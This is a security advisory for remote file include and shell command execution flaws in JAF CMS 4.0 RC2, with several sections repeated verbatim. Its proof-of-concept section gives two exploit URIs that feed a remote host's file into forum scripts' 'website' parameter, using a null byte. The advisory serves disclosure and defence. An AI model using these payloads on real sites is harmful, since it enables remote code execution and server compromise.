JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
BID:44664
Info
JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
| Bugtraq ID: | 44664 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 04 2010 12:00AM |
| Updated: | Nov 04 2010 12:00AM |
| Credit: | High-Tech Bridge SA |
| Vulnerable: |
Salims Softhouse JAFS CMS 4.0 RC2 |
| Not Vulnerable: | |
Discussion
JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
JAF CMS is prone to an shell-command-execution vulnerability and multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
An attacker can exploit the remote shell-command-execution issue to execute arbitrary shell commands in the context of the webserver process.
An attacker can exploit remote file-include issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
JAF CMS 4.0 RC2 is vulnerable; other versions may also be affected.
JAF CMS is prone to an shell-command-execution vulnerability and multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
An attacker can exploit the remote shell-command-execution issue to execute arbitrary shell commands in the context of the webserver process.
An attacker can exploit remote file-include issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
JAF CMS 4.0 RC2 is vulnerable; other versions may also be affected.
Exploit / POC
JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
An attacker can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
http://www.example.com/module/forum/main.php?website=http://any_host/any_file%00
http://www.example.com/module/forum/forum.php?website=http://any_host/any_file%00
An attacker can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
http://www.example.com/module/forum/main.php?website=http://any_host/any_file%00
http://www.example.com/module/forum/forum.php?website=http://any_host/any_file%00
Solution / Fix
JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
JAF CMS Multiple Remote File Include and Remote Shell Command Execution Vulnerabilities
References:
References:
- JAF CMS Homepage (Salims Softhouse)
- [email protected]: RFI in JAF CMS (advisory)
- [email protected]: Shell create & command execution in JAF CMS (advisory)
- RFI in JAF CMS (High-Tech Bridge SA)
- Shell create & command execution in JAF CMS (High-Tech Bridge SA)